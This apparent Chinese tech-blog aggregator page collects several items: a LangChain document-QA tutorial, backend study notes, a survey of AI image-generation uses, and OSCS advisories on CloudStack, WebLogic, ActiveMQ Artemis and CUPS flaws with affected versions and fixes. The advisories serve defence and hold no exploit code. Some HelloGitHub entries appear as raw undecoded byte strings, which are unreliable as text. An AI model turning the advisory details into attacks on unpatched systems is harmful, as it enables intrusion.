项目介绍:“易速鲜花”作为一个大型在线鲜花销售平台,有自己的业务流程和规范,也拥有针对员工的SOP手册。新员工入职培训时,会分享相关的信息。但是,这些信息分散于内部网和HR部门目录各处,有时不便查询;有时因为文档过于冗长,员工无法第一时间找到想要的内容;有时公司政策已更新,但是员工手头的文档还是旧版内容。

基于上述需求,我们将开发一套基于各种内部知识手册的 “Doc-QA” 系统。这个系统将充分利用LangChain框架,处理从员工手册中产生的各种问题。这个问答系统能够理解员工的问题,并基于最新的员工手册,给出精准的答案。

用 LangChain 框架实现一个知识库文档系统需要几个关键组件,包括数据源、索引器、检索器和模型。下面是一个整体框架的示例,展示如何使用 LangChain 来实现这样的系统。

1. 安装依赖

首先,确保你安装了 LangChain 和相关依赖。可以通过以下命令安装:

Copypip install langchain
pip install openai  # 如果使用 OpenAI 模型
pip install faiss-cpu  # 如果使用 FAISS 进行检索

2. 导入库

Copyfrom langchain import OpenAI, Vectorstore
from langchain.chains import RetrievalQA
from langchain.embeddings import OpenAIEmbeddings
from langchain.document_loaders import TextLoader
from langchain.vectorstores import FAISS

3. 数据加载

你需要一个文档数据源。可以是文本文件、PDF 文件或其他格式。以下是一个从文本文件加载文档的示例:

Copydef load_documents(file_path):
    loader = TextLoader(file_path)
    documents = loader.load()
    return documents

4. 创建索引

使用向量存储(如 FAISS)来索引文档并进行检索:

Copydef create_vectorstore(documents):
    embeddings = OpenAIEmbeddings()  # 使用 OpenAI 的嵌入模型
    vectorstore = FAISS.from_documents(documents, embeddings)
    return vectorstore

5. 创建检索链

使用 LangChain 的 RetrievalQA 来创建问答链:

Copydef create_qa_chain(vectorstore):
    llm = OpenAI()  # 使用 OpenAI API 作为语言模型
    qa_chain = RetrievalQA.from_chain_type(
        llm=llm,
        chain_type="stuff",
        retriever=vectorstore.as_retriever()
    )
    return qa_chain

6. 主程序

整合上述组件,创建一个完整的知识库文档系统:

Copydef main(file_path):
    # 加载文档
    documents = load_documents(file_path)
    
    # 创建向量存储
    vectorstore = create_vectorstore(documents)
    
    # 创建问答链
    qa_chain = create_qa_chain(vectorstore)

    # 示例:进行查询
    query = "你的查询内容是什么?"
    response = qa_chain.run(query)
    
    print("回答:", response)

if __name__ == "__main__":
    file_path = "path/to/your/documents.txt"  # 替换为你的文档路径
    main(file_path)

7. 扩展功能

  • 多种数据源支持:可以扩展数据加载部分,支持 PDF、Word 文档等格式。
  • 用户界面:可以使用 Flask 或 Django 创建一个 Web 界面,供用户输入查询。
  • 更多功能:可以添加权限管理、用户历史记录、知识库更新等功能。

最后

回答课程中的思考题。

一. 请你用自己的话简述一下这个基于文档的QA(问答)系统的实现流程?

  1. 数据加载从各种数据源(如文本文件、PDF或其他文档格式)中加载文档。
  2. 文档处理对加载的文档进行清洗、分段或格式化,以便于后续步骤进行嵌入和索引。
  3. 向量化,使用预训练的嵌入模型(如OpenAI的嵌入模型)将处理后的文档转化为向量表示。
  4. 创建索引,将生成的文档向量存储到向量数据库中(如FAISS),以便快速检索相关文档。
  5. 问答链,使用问答模型(如OpenAI的语言模型)和创建的向量检索器构建问答链。
  6. 交互与响应,用户输入查询后,系统检索相关文档并生成答案,最后返回给用户。
  7. 扩展与优化,根据需求进一步扩展功能,例如增加用户界面、支持多种数据源等。

二. LangChain支持很多种向量数据库,你能否用另一种常用的向量数据库Chroma来实现这个任务?

mport os
from langchain import OpenAI
from langchain.chains import RetrievalQA
from langchain.document_loaders import TextLoader
from langchain.embeddings import OpenAIEmbeddings
from langchain.vectorstores import Chroma

# 加载文档
def load_documents(file_path):
    """加载指定路径的文本文件并返回文档列表。"""
    loader = TextLoader(file_path)
    documents = loader.load()
    return documents

# 创建向量存储
def create_vectorstore(documents):
    """将文档转换为向量并存储在Chroma数据库中。"""
    embeddings = OpenAIEmbeddings()
    vectorstore = Chroma.from_documents(documents, embeddings)
    return vectorstore

# 创建问答链
def create_qa_chain(vectorstore):
    """创建问答链以处理用户查询。"""
    llm = OpenAI()
    qa_chain = RetrievalQA.from_chain_type(llm=llm, chain_type="stuff", retriever=vectorstore.as_retriever())
    return qa_chain

# 主程序入口
def main(file_path):
    """整合所有组件以实现文档问答功能。"""
    documents = load_documents(file_path)
    vectorstore = create_vectorstore(documents)
    qa_chain = create_qa_chain(vectorstore)

    # 示例查询
    query = "你的查询内容是什么?"
    response = qa_chain.run(query)
    print("回答:", response)

if __name__ == "__main__":
    file_path = "path/to/your/documents.txt"  # 替换为你的文档路径
    main(file_path)

今天的学习结束了。

by easyleo at November 29, 2024 12:27 PM

后端笔记 | 互联网

网络接入

网络接入概述

  1. 用户端到路由器

    • 用户设备(如电脑、手机)通过有线或无线的方式连接到路由器。
    • 有线连接通常更稳定,速度也更快;无线连接则可能受到干扰,导致信号不稳定或丢包现象。
  2. 路由器到运营商

    • 路由器通过宽带连接到互联网服务提供商(ISP),如中国电信、中国移动等。
    • 运营商之间通过交换中心互相连接,形成一个庞大的互联网基础设施。
  3. 运营商到服务器机房

    • 运营商与各大公司、网站的服务器机房相连,确保数据可以高效传输。
    • 国际连接通过海底光缆或卫星通信等方式实现,确保全球范围内的数据交换。
  4. 国际连接

    • 不同国家和地区之间的运营商通过海底光缆或其他形式的物理连接进行数据传输。
    • 国际连接通常非常稳定,但也会面临自然灾害、人为破坏等风险。

数据传输特性

  1. 有线连接 vs 无线连接

    • 有线连接:通常使用光纤或铜缆,传输速度快且稳定,适用于长距离的数据传输。
    • 无线连接:包括Wi-Fi、蓝牙等,传输速度相对较慢,且容易受到环境因素的影响,如墙壁、电子设备干扰等,导致信号衰减或丢包。
  2. 最后一公里问题

    • “最后一公里”指的是从ISP的网络节点到最终用户的家庭或企业的这段连接。
    • 这段连接通常是整个网络路径中最容易出现问题的部分,因为它们可能使用不同的技术和设备,且受环境因素影响较大。
    • 常见问题包括信号弱、干扰多、设备老化等,这些问题会导致网络速度下降、丢包率增加。

路由特性

  1. 路由不一定是对称的

    • 数据包从源地址到目的地址的路径和从目的地址返回源地址的路径可能不同。
    • 这种不对称路由是由于互联网路由协议(如BGP)的动态特性和网络优化策略造成的。
    • 不对称路由可能导致某些网络问题,如延迟增加、丢包等,但也可能是为了优化性能和可靠性。
  2. 路由选择

    • 路由器根据路由表选择最佳路径,路由表由网络管理员配置或通过动态路由协议自动更新。
    • 动态路由协议(如RIP、OSPF、BGP)可以根据网络状况实时调整路由,确保数据传输的高效和可靠。

故障排除

  1. 丢包检测

    • 使用工具如pingtraceroute可以帮助诊断网络连接问题。
    • ping命令可以测试目标主机的可达性和响应时间。
    • traceroute命令可以显示数据包经过的所有中间节点,帮助定位问题所在。
  2. 常见故障及解决方案

    • 有线连接问题:检查网线是否松动、损坏,更换网线或重新插拔。
    • 无线连接问题:检查路由器设置,确保无线信号强度足够;尝试重启路由器或更改无线频道。
    • ISP问题:联系ISP客服,询问是否有线路维修或网络故障。

by 用户733785509259 at November 29, 2024 12:27 PM

后端笔记 | 高质量编程

高质量编程:

高质量定义:

  1. 边界条件考虑是否完备

    • 在编写代码时,应充分考虑各种可能的输入值及其边界情况,确保程序在极端或不常见的输入下也能正确运行。
  2. 异常情况处理,稳定性保证

    • 对于可能出现的错误和异常,应该有妥善的处理机制,如使用异常处理语句(try-catch),确保程序即使遇到问题也不会崩溃,并能够给出合理的错误提示或日志记录。
  3. 易读易维护

    • 代码应该是清晰和简洁的,遵循一定的编码规范,比如命名规则、注释习惯等,使得其他开发者可以轻松理解代码的功能和结构。

代码格式:

统一缩进风格(如使用空格还是制表符,以及具体的缩进数量)。 保持一致的命名约定(如使用驼峰式命名、匈牙利命名法等)。 控制行长度,避免过长的行影响阅读。 使用空白行分隔不同的逻辑块,使代码结构更加清晰。 对于较长的表达式或语句,适当进行换行以提高可读性。

编程原则:

简单性:

编写的逻辑尽可能简单

可读性:

你的代码运行周期很长,实际上代码上线以后不会被删掉,而是一直被修改

所以可读性在以后得维护中很重要

生产力:

注释:

image-20241108141023918

注释的重要性

解释代码作用:对于复杂的算法或业务逻辑,适当的注释可以帮助其他开发者更快地理解代码的目的。 解释函数常量功能:对于函数和常量的定义,简短而准确的注释可以帮助使用者了解其用途和用法。 解释代码如何做:当代码实现较为复杂时,通过注释说明每一步的具体操作可以帮助读者更好地理解实现过程。 解释代码实现的原因:有时候选择某种特定的实现方式是为了满足特定的需求或解决某个具体的问题,这时候注释可以用来解释为什么选择了这种方式而不是其他。 解释代码什么情况会出错:对于容易出错的地方或者有特殊要求的操作,提供注释可以提醒未来的开发者注意这些潜在的风险点。

作用

1,。解释代码作用

解释函数常量功能

2.解释代码如何做的

3.解释代码实现的原因

4.解释代码什么情况会出错

代码格式

image-20241108141212792

命名规范:

image-20241108142313680

image-20241108142934813

image-20241108143111535

控制流程:

image-20241108143250061

image-20241108143303438

错误处理:

image-20241108143648100

复杂错误

image-20241108143748007

image-20241108144250869

panic

image-20241108144314921

recover

by 用户733785509259 at November 29, 2024 12:26 PM

November 28, 2024

hellogithub

HelloGitHub 第 104 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 41 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

November 28, 2024 12:15 AM

October 28, 2024

hellogithub

HelloGitHub 第 103 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 43 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (7)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (1)'

October 28, 2024 12:04 AM

October 17, 2024

oschina news industry-news

Apache CloudStack请求来源验证绕过漏洞

漏洞描述

Apache CloudStack 是一个开源的云计算管理平台,允许用户创建、管理和部署大规模虚拟化基础设施。

在受影响的版本中,系统未能有效验证请求的来源,导致攻击者能够诱导已认证用户提交恶意的CSRF请求。这种攻击方式可能导致用户账户被接管、服务中断、敏感数据泄露等安全隐患。

修复版本中,通过新增cookiePathRewrite参数确保cookie在正确的路径下可用,以修复漏洞。

漏洞名称 Apache CloudStack请求来源验证绕过漏洞
漏洞类型 CSRF
发现时间 2024-10-16
漏洞影响广度 -
MPS编号 MPS-0vjz-53or
CVE编号 CVE-2024-45693
CNVD编号 -

影响范围

cloudstack@[4.15.1.0, 4.18.2.4)

cloudstack@[4.19.0.0, 4.19.1.2)

修复方案

将组件 cloudstack 升级至 4.18.2.4 及以上版本

将组件 cloudstack 升级至 4.19.1.2 及以上版本

参考链接

https://www.oscs1024.com/hd/MPS-0vjz-53or

https://cloudstack.apache.org/blog/security-release-advisory-4.18.2.4-4.19.1.2/

https://nvd.nist.gov/vuln/detail/CVE-2024-45693

https://github.com/apache/cloudstack/commit/b3f9824be1efffd12ca648748dc59e37f2a0e60f#diff-71cbcf5aeff7a2a23bef9a05351100a1dbba55663c310a654d1df3befa44a7bdR147

    

免费情报订阅&代码安全检测

OSCS是国内首个开源软件供应链安全社区,社区联合开发者帮助全球顶级开源项目解决安全问题,并提供实时的安全漏洞情报,同时提供专业的代码安全检测工具为开发者免费使用。社区开发者可以通过配置飞书、钉钉、企业微信机器人获取一手的情报。

免费代码安全检测工具: https://www.murphysec.com/?src=osc

免费情报订阅: https://www.oscs1024.com/cm/?src=osc

具体订阅方式详见: https://www.oscs1024.com/docs/vuln-warning/intro/?src=osc

by 来源: 投稿 at October 17, 2024 03:02 AM

Apache CloudStack 模板验证绕过漏洞

漏洞描述

Apache CloudStack 是开源的基础设施即服务云计算软件,支持包括 KVM在内的多种虚拟化技术。

受影响版本中,由于缺少对上传和注册的 KVM 兼容模板和存储卷的验证,在启用配额功能的情况下,攻击者可以通过上传或注册恶意模板或卷,部署恶意实例,或将上传的卷附加至现有 KVM 实例上,从而利用该漏洞访问宿主机的文件系统。

修复版本中,通过引入对 QCOW2 文件的严格验证机制防止外部文件引用,以修复漏洞。

漏洞名称 Apache CloudStack 模板验证绕过漏洞
漏洞类型 任意文件上传
发现时间 2024-10-16
漏洞影响广度 -
MPS编号 MPS-kcyp-aedz
CVE编号 CVE-2024-45219
CNVD编号 -

影响范围

cloudstack@[4.19.0.0, 4.19.1.2)

cloudstack@[4.0.0, 4.18.2.4)

修复方案

将组件 cloudstack 升级至 4.19.1.2 及以上版本

将组件 cloudstack 升级至 4.18.2.4 及以上版本

参考链接

https://www.oscs1024.com/hd/MPS-kcyp-aedz

https://lists.apache.org/thread/ktsfjcnj22x4kg49ctock3d9tq7jnvlo

https://github.com/apache/cloudstack/commit/4fa22f4d5881406353d3dfeadb68050e2242fdb8

https://cloudstack.apache.org/blog/security-release-advisory-4.18.2.4-4.19.1.2/

    

免费情报订阅&代码安全检测

OSCS是国内首个开源软件供应链安全社区,社区联合开发者帮助全球顶级开源项目解决安全问题,并提供实时的安全漏洞情报,同时提供专业的代码安全检测工具为开发者免费使用。社区开发者可以通过配置飞书、钉钉、企业微信机器人获取一手的情报。

免费代码安全检测工具: https://www.murphysec.com/?src=osc

免费情报订阅: https://www.oscs1024.com/cm/?src=osc

具体订阅方式详见: https://www.oscs1024.com/docs/vuln-warning/intro/?src=osc

by 来源: 投稿 at October 17, 2024 03:01 AM

Oracle WebLogic T3/IIOP 反序列化漏洞

漏洞描述

Oracle WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

在受影响版本中,未经身份验证的攻击者可以利用该漏洞在远程的WebLogic服务器上执行任意代码,从而获取到远程服务器的权限。

漏洞名称 Oracle WebLogic T3/IIOP 反序列化漏洞
漏洞类型 反序列化
发现时间 2024-10-16
漏洞影响广度 -
MPS编号 MPS-h6ly-vo7u
CVE编号 CVE-2024-21216
CNVD编号 CNVD-2024-40886

影响范围

weblogic_server@[12.2.1.4.0, 12.2.1.4.0]

weblogic_server@[14.1.1.0.0, 14.1.1.0.0]

修复方案

安装官方10月补丁(https://www.oracle.com/security-alerts/cpuoct2024.html)

参考链接

https://www.oscs1024.com/hd/MPS-h6ly-vo7u

https://nvd.nist.gov/vuln/detail/CVE-2024-21216

 

    

免费情报订阅&代码安全检测

OSCS是国内首个开源软件供应链安全社区,社区联合开发者帮助全球顶级开源项目解决安全问题,并提供实时的安全漏洞情报,同时提供专业的代码安全检测工具为开发者免费使用。社区开发者可以通过配置飞书、钉钉、企业微信机器人获取一手的情报。

免费代码安全检测工具: https://www.murphysec.com/?src=osc

免费情报订阅: https://www.oscs1024.com/cm/?src=osc

具体订阅方式详见: https://www.oscs1024.com/docs/vuln-warning/intro/?src=osc

by 来源: 投稿 at October 17, 2024 03:00 AM

October 16, 2024

oschina news industry-news

Apache ActiveMQ Artemis<2.29.0 远程代码执行漏洞

漏洞描述

Apache ActiveMQ Artemis 是开源的高性能、可扩展的消息代理。Jolokia 是一个用于访问和管理 Java 应用程序的远程 JMX 代理,默认集成在8161端口的ActiveMQ web console中,Log4J2 MBeans用于管理和监控日志记录。

受影响版本中,经过 Jolokia 端点身份验证的攻击者可访问 Log4J2 MBean 在服务器写入任意文件,进而远程执行任意代码。补丁版本通过默认禁用 Log4j2 MBean 修复此漏洞。

漏洞名称 Apache ActiveMQ Artemis<2.29.0 远程代码执行漏洞
漏洞类型 代码注入
发现时间 2024-10-15
漏洞影响广度 -
MPS编号 MPS-fhrj-dsc6
CVE编号 CVE-2023-50780
CNVD编号 -

影响范围

org.apache.activemq:artemis-cli@(-∞, 2.29.0)

activemq_artemis@(-∞, 2.29.0)

org.apache.activemq/artemis-cli@影响所有版本

org.apache.activemq/artemis-cli@影响所有版本

org.apache.activemq/artemis-cli@影响所有版本

org.apache.activemq/artemis-cli@影响所有版本

org.apache.activemq/artemis-cli@影响所有版本

org.apache.activemq/artemis-cli@影响所有版本

org.apache.activemq/artemis-cli@影响所有版本

org.apache.activemq/artemis-cli@影响所有版本

修复方案

将组件 org.apache.activemq:artemis-cli 升级至 2.29.0 及以上版本

将组件 activemq_artemis 升级至 2.29.0 及以上版本

参考链接

https://www.oscs1024.com/hd/MPS-fhrj-dsc6

https://lists.apache.org/thread/63b78shqz312phsx7v1ryr7jv7bprg58

https://github.com/apache/activemq-artemis/commit/b17ea490bff397349ac9b1188d1b047e11562d74

https://nvd.nist.gov/vuln/detail/CVE-2023-50780

    

免费情报订阅&代码安全检测

OSCS是国内首个开源软件供应链安全社区,社区联合开发者帮助全球顶级开源项目解决安全问题,并提供实时的安全漏洞情报,同时提供专业的代码安全检测工具为开发者免费使用。社区开发者可以通过配置飞书、钉钉、企业微信机器人获取一手的情报。

免费代码安全检测工具: https://www.murphysec.com/?src=osc

免费情报订阅: https://www.oscs1024.com/cm/?src=osc

具体订阅方式详见: https://www.oscs1024.com/docs/vuln-warning/intro/?src=osc

by 来源: 投稿 at October 16, 2024 03:24 PM

September 27, 2024

oschina news industry-news

CUPS 远程命令执行漏洞

漏洞描述

CUPS 是一个默认集成于诸多 Linux 发行版的开源打印系统,而cups-browsed包含网络打印功能,包括但不限于自动发现打印服务和共享打印机。

cups-browsed默认监听 631 端口,由于受影响版本的cups-browsed未对数据包做校验,导致未授权攻击者可以组合利用cups的libcupsfilters、libppd、cups-filters的漏洞,最终通过cups-filters的 FoomaticRIPCommandLine 执行任何命令,目前官方尚未发布修复版本。

漏洞名称 CUPS 远程命令执行漏洞
漏洞类型 暴露危险的方法或函数
发现时间 2024-09-27
漏洞影响广度 -
MPS编号 MPS-aub6-7vzr
CVE编号 CVE-2024-47176
CNVD编号 -

影响范围

cups_browsed@(-∞, 2.0.1]

修复方案

使用安全设备拦截暴露在公网的 631 UDP端口

参考链接

https://www.oscs1024.com/hd/MPS-aub6-7vzr

https://nvd.nist.gov/vuln/detail/CVE-2024-47176

 

 

 

 

    

免费情报订阅&代码安全检测

OSCS是国内首个开源软件供应链安全社区,社区联合开发者帮助全球顶级开源项目解决安全问题,并提供实时的安全漏洞情报,同时提供专业的代码安全检测工具为开发者免费使用。社区开发者可以通过配置飞书、钉钉、企业微信机器人获取一手的情报。

免费代码安全检测工具: https://www.murphysec.com/?src=osc

免费情报订阅: https://www.oscs1024.com/cm/?src=osc

具体订阅方式详见: https://www.oscs1024.com/docs/vuln-warning/intro/?src=osc

by 来源: 投稿 at September 27, 2024 06:21 AM

September 26, 2024

hellogithub

HelloGitHub 第 102 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 41 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (2)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (6)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

September 26, 2024 11:55 PM

September 23, 2024

bang

谁在用 AI 图片生成

AIGC 图片生成的技术,基本是22年开始爆发,Midjourney 2022年7月推出,Stable Diffusion 2022年8月推出,至今两年发展迅速,已经广泛在很多场景应用,但这个市场上是谁在用图片生成,用来做什么,一直以来在我认知里都有些模糊,这篇文章做下相关调研。

线上线下所有用到图片的地方,都有 AI 图片生成的应用空间,而 AI 图片生成的能力,也会创造出新的领域和行业,就目前能看到的已经在应用的场景,归归类可以分为:生产力工具、大众娱乐、探索创作。

ToB:生产力工具

把 AI 图片生成能力作为实际工作中的生产力工具,用在各领域的内容生产,替换原来的工作流,效率有量级上的提升,同时也有因为 AI 图生成带来的新的领域,例如自媒体。

这里的用户大部分是设计师,全球设计师 9000w,包含建筑设计、室内设计、工业设计、服装设计、产品设计、平面设计等,Adobe 付费订阅人数2650w(2022年),是非常大的市场。

电商

电商有大量的市场,为了展示、介绍、美化不同种类的商品,对图片有巨大的诉求,是AI图片(以及视频)最好的应用场景。

  1. 模特图:模特换衣、模特生成、在线试衣,专门服务服饰品类的工具,全球电商服饰品类市场规模六千亿美元,这让它对应的工具需求也足够大,能搜到的有几十家公司专门在做,例如BotikaVModel.AI摹小仙千面AI模特ZMO.ailinkfox,美图秀秀/醒图等也有相关工具。入门门槛低,但效果的调优是wu’zhi’jing的,不同角度/动作/不同衣服穿上后的自然度等都需要不断调优。
    1 2
    换模特 换衣
  2. 商品图:上传商品图,AI 可以帮你生成商品在不同环境下的宣传图,免去摆拍。相对于直接抠图→套模板,AI生成质量高,可定制程度也高,可以创造符合商品的各种背景,商品能更好融入对应背景、环境的光线阴影、颜色、高保真,这里的效果调优也是无止尽。同样有非常多公司在做,photoecom灵动AIPicCopilot。综合性的图片工具大多也会加入这个功能,比如 photoroom
    3 4
    灵动AI photoroom
  3. 其他长尾:电商很庞大,除了上述两个类,整个上下游各个品类还有不少细小长尾的 AI 图片生成需求,例如 T恤定制、衣服花纹生成、款式生成、站外营销图等。
  4. 从发展趋势看,电商平台如果自身有余力,都会去做这样的工具,嵌入到自己平台内,整个工作流更顺,像淘宝千牛自己就做了。但竞争是无止境的,所有商家都用平台提供的工具,质量品质同质化后,就会有个性化或追求更好效果的诉求,外部工具一直会有机会。

素材

素材应该是需求第二大的领域,活动图、海报、封面插图(文章/播客/杂志)、PPT,日常工作很多场景会用到,以前是搜图片找素材拼接,但如果是商用场景,一不小心有侵权的风险,素材是需要付费的,AI 图生成目前没有这个问题,而中国的版权图片市场规模在2020年是34亿,在高速复合增长。素材生成的诉求很泛,不太依赖可控生成,应该大部分都用图生成质量最好的 Midjourney,海报生成因为涉及文字,ideogram.ai 有较大的优势。

5 6 7
ideogram海报 营销素材 壁纸

自媒体

AI 图片生成的能力会被一些自媒体创作者用于创作有趣的内容,带来流量,进而接商单。例如影视/动漫 IP 二创、自制IP形象(宠物打工、宠物时装秀等)、扩图玩梗、表情包等,会不断有各种有趣的玩法持续出现。

8 9 10 11 12
高质量图 扩图,玩梗 玩法 影视IP二创 自制IP

其他

  1. 游戏设计:首当其冲是游戏原画,AI 图片生成出来的质量,跟外包原画师已经没有太大差异,或者质量更好,去年就传出游戏公司大规模砍原画外包的新闻。同时游戏内容本身需要大量的角色、场景设计,对于质量要求不高的 2D 游戏,AI图生成已经可以很好满足需求。
    13 1415
    角色生成 游戏原画
  2. 建筑设计:借助 SD ControlNet 的能力,很容易做到建筑线稿设计图转绘为效果图,渲染不同风格,也不需要有多少微调的工作,各工作室自己可以部署。对于建筑灵感,直接用 Midjourney 看起来也是足够。
    1617 18
    概念设计 线稿转绘
  3. 漫画/绘本故事:核心是模型角色保持的能力。儿童绘本故事门槛很低,网上也有大量应用的教程,大众对质量的要求也没那么高,这是 AI 图生成目前擅长的。漫画门槛高一些,核心是故事、分镜的质量,生图所占的比例其实不高,所以如果用 AI 大规模生产,质量堪忧,但也有一些精品,比如这个。针对漫画有一些独立的产品和模型,例如dashtoonComic Factorycomicsmakerllamagen等。
     19 20
    武侠漫画 Comic Factory
  4. 动画/短剧:同样借助角色保持能力,生成图片后转成视频形式去消费,这也是后续内容制作的趋势。目前还没看到大规模成熟的应用,短剧类 midreal 相对小众,月活几万的级别。小说转动画视频有不少产品在尝试 剪映的故事成片、极虎漫剪漫剪猫等,规模比较小,但作为生产力工具,付费率是挺高的,做出来的内容有一定消费价值。

ToC:大众娱乐

图片特效

大众用户日常社交对图片是刚需,AI 图片生成在这个领域的应用是最广泛和成熟的,跑出很多爆款产品,Top 的是 Remini(23年MAU 8000w+,收入6643万美元),其他也有非常多产品冒出,AIMirror/FaceAPP/Lensa/Prisma等。

这个领域不断会有爆品出现,理论上不会一家独大,每个产品都有机会,逻辑是:出效果爆款→社交媒体传播全网引爆→大量用户使用&付费→热点几周后消退,用户少量留存,大量流失→找下一个爆款→找到进入下一个循环,找不到产品逐渐消亡。典型的持续活下来的产品是Remini,消亡的是妙鸭。

具体应用上,姑且分为 AI 写真和特效。

  1. AI写真:人像 P 图是刚需,AI写真算是这个刚需的分支,火过很多产品,国内的妙鸭,海外Remini,还有一大波专门做这块的垂类产品 PhotoAI星绘等。妙鸭虽然火一波以后销声匿迹,但这个需求是长期可持续的,photoAI 是独立开发者的产品,月流水已经到17万美元。主要用于各社交软件头像、linkedin商务照等。
  2. 特效:比如风格化的黏土风格、盲盒公仔、迪斯尼风等,还有其他例如换发型、换性别、变老变年轻、扩图等特效。
21 22 2324
Remini 众多特效 星绘 AI 写真 ailabtools 换性别、年龄

新场景

另一类 ToC 的应用,是把 AI 图片生成能力作为全新产品的一部分嵌入,跟产品形态有较强的绑定。

  1. 陪伴类产品:纯 LLM 文字陪伴发展下去肯定是结合图片生成/视频生成,让人更沉浸式,可以衍生抽卡、剧情图、虚拟女友形象等。产品非常多,MiniMax 的 星野/Talkiecandy.aidreamgf.ai 等,AI 陪伴还在爆发增长期,AI 生图在这个领域有很大应用空间。

  2. 教育类产品:DoDoboo 将儿童涂鸦实时转为绘画作品,激发儿童创造力。是一个尝试性的应用场景,没有很成功,但 AI 教育是万亿级别市场,儿童教育领域本身注重创造力想象力的培养,AI 图片生成就是想象力的呈现,是有机会创造或融入更多教育产品。

    image.png

  3. NSFW:成人产品,比较特殊,市场自然是巨大的,待分析。

25 26
Talkie DoDoboo

探索创作

除了上述 ToB 和 ToC 两类非常明确的应用场景外,AI图生成还衍生出另一波探索型用户。他们不是为工作,无商业目的,单纯喜欢玩 AI 创作,他们可能不会画画,AI 让他们可以不需要学习绘画技能,就能创作出好的作品,这对有创作欲的人有很强的吸引力。

Midjourney 付费用户中,只有 32% 的用户目的是工作或实际需求,68%的用户是为了娱乐。一方面因为 Midjourney 可控性不足,导致很难在真实生产环境使用,较少覆盖上述 ToB/ToC 的那部分用户,另一方面也能看出,纯粹探索 AI 玩图片生成的人群规模也不小,24 年 Q2 Midjourney 月活 600万+,24 年预计收入预计超过 3 亿美元。

27 28 29
Midjourney thehybridportraits 高端定制

图片生成技术,跟摄影技术有点像:

  1. 没有摄影时,只能通过超高的绘画技术记录现实画面,门槛很高,摄影技术让人人拥有记录现实的能力,只需要按个按钮。
  2. 而没有图片生成技术时,也只能通过绘画技术记录和创作现实没有的画面,把心中想象的创意具象化,图片生成技术让人人拥有创作的能力,只需要输入文字。
  3. 除此以外,还有一些相似点:
    1. 人人能用,但专业才能用得好:AIGC跟相机一样只是技术,日常拍照人人能拍,要拍出好的照片,不是人人能做到,即使摄影看起来只是按下快门,调下参数。图片生成随便输入 prompt 人人能创作图片,但要创作出好的作品,也不会是人人都能做到,即使看起来只需要输入文字。
    2. 大众需要,商业也需要:摄影可以记录生活,这是大众需要的,也可以杂质配图、做商业广告等,这是商业需要的。图片生成也一样。
